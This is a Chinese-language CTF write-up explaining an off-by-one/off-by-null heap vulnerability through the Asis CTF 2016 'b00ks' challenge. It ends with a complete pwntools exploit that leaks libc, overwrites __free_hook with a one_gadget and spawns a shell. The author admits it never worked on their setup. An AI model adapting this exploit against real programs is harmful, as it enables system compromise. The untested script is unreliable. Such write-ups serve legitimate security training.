[TOC]
漏洞原理
off by one往往是由于程序对边界检查不严格而导致多写入一个字节。
eg:这段代码忽略了strcpy函数最后会写入一个\x00
,所以导致写入了25个字节。当然这里也存在栈溢出漏洞。
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1=malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
例题
Asis CTF 2016 b00ks
程序只关闭了canary保护;
程序一开始会要求输入author name,然后有6个功能,可以自己走一遍程序流程;
程序流程分析
main函数如下图,函数我都重命名了
edit_author_name
我们进入edit_author_name函数,最开始会调用一遍这个函数也就是让我们输入author name,这个函数调用了sub_9F5函数,我们跟进看看;
在edit_author_name函数中sub_9F5被传入off_202018,32两个参数,我们进入sub_9F5函数
这里存在off by null漏洞
create
逻辑自己看吧,注释都写了
这里sub_B24函数如下:off_202010存放的结构体指针首地址
这里很有意思,在create函数中,我们知道了结构体的指针放在off_202010处,而我们在edit_author_name函数中知道了author name存储在off_202018中,并且可以溢出一个字节为NULL字节
我们在看下off_202010 和 off_202018的位置关系:
所以我们可以得到以下内存布局:所以我们可以通过填充author name去覆盖第一个book_ptr的低字节为NULL
delete
edit
show
漏洞利用思路
先回到这个图吧
一开始我们写入author name为32个字节
然后我们创建两个book,这里对name和des的大小有要求
- 对于第一个book,name的大小应该使得des_ptr的低字节为00;这里我的环境计算出name的大小应当为64
- 对于第二个book,name和des的大小应该接近top_chunk大小,使得name和des的chunk由mmp分配
当我们创建完book后,这时我们show的话,第一个book的book_ptr也会被输出,原因应该很好理解吧;上个图吧
- 然后我们在edit_author_name去把author修改为32个字节,这时book1_ptr的低字节就会被覆盖为低字节;上个图吧
这里我们可以查看一下两本书的结构体:
我们可以看到book1结构体中des_ptr的值,是不是很熟悉!!!在上面我们把book1_ptr给修改成了des_ptr,那么问题就来了
此时内存布局如下:所以我们可以提前在book1中的des中伪造id name_ptr des_ptr des_size
,布置的值如下:
- id = 1
- name_ptr 指向 book2的name_ptr
- des_ptr 指向 book2的des_ptr
- des_size = 0xffff
至于为啥向上面那样伪造的原因如下:伪造完后,内存布局如下:
- 那么我们如果输出book1的name,则会输出book2的name_ptr指针;如果输出book1的des,则会输出book2的des_ptr指针。
- 那么我们如果修改book1的des,则会修改book2的des_ptr指针。所以我们可以把book2的des_ptr指针修改为__free_hook
- 那么我们如果在去修改book2的des,那么book2会根据book2的des_ptr指针去修改;因为我们已经把book2的des_ptr指针修改为了__free_hook,所以此时我们就可以把
__free_hook
修改为one_gadget
- 那么我们如果在去修改book2的des,那么book2会根据book2的des_ptr指针去修改;因为我们已经把book2的des_ptr指针修改为了__free_hook,所以此时我们就可以把
- 然后在delete即可getshell
但是我们要获得__free_hook就得泄漏libc,如何泄漏呢?记得我们在上面把book2的name,des的值设置的接近为top_chunk的值吗?这就是为了泄漏libc的?
因为mmp分配的空间与libc的偏移是固定的,所以只要我们能够泄漏book2的name_ptr的值或者des_ptr的值就可以泄漏libc了;
那么我们如何泄漏book2的name_ptr或者des_ptr呢?在上面已经给出了方法,就是把book1的name_ptr修改为book2的name_ptr即可,那么我们如何获得name_ptr或者des_ptr呢?
在第一次我们泄漏了book1的book_ptr,我们知道book_ptr中存储的内容为id name_ptr des_ptr des_size
,而book1与book2的book_ptr偏移是固定的所以很容易得到book2的name_ptr和des_ptr
这里我没有打通:因为gilbc 2.34已经废除__free_hook了
而我用glibc 2.23也没有打通,远程环境也没有找到;哎,知道思路就行了
exp:
from pwn import *
context.binary = './pwn'
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def cmd(index):
io.sendlineafter(b'> ', str(index).encode())
def create(nameSize, name, desSize, des):
cmd(1)
io.sendlineafter(b'name size: ', str(nameSize).encode())
io.sendlineafter(b'chars): ', name)
io.sendlineafter(b'size: ', str(desSize).encode())
io.sendlineafter(b'description: ', des)
def delete(index):
cmd(2)
io.sendlineafter(b'delete: ', str(index).encode())
def edit(index, des):
cmd(3)
io.sendlineafter(b'edit: ', str(index).encode())
io.sendlineafter(b'description: ', des)
def show(index):
cmd(4)
for i in range(index):
io.recvuntil(b'ID: ')
Id = io.recvline()[:-1]
io.recvuntil(b'Name: ')
Name = io.recvline()[:-1]
io.recvuntil(b'Description: ')
Des = io.recvline()[:-1]
io.recvuntil(b'Author: ')
Author = io.recvline()[:-1]
return Id, Name, Des, Author
def change(name):
cmd(5)
io.sendlineafter(b'name: ', name)
io.sendlineafter(b'name: ', b'A'*32)
create(64, b'A', 64, b'A')
create(135168, b'B', 135168, b'B')
_, _, _, Author = show(1)
book1 = u64(Author[32:].ljust(8, b'\x00'))
print("book1:", hex(book1))
book1_des = p64(1) + p64(book1+0x38) + p64(book1+0x40) + p64(0xffff)
edit(1, book1_des)
change(b'A'*32)
_, book2_name_ptr, book2_des_ptr, _ = show(1)
book2_name_addr = u64(book2_name_ptr.ljust(8, b'\x00'))
book2_des_addr = u64(book2_des_ptr.ljust(8, b'\x00'))
print("book2_name_addr:", hex(book2_name_addr))
print("book2_des_addr:", hex(book2_des_addr))
libc_base = book2_name_addr - 3530768
"""
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
0xebcf5 execve("/bin/sh", r10, rdx)
0xebcf8 execve("/bin/sh", rsi, rdx)
"""
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0xebcf5
print("free_hook:", hex(free_hook))
edit(1, p64(free_hook))
edit(2, p64(one_gadget))
delete(2)
io.interactive()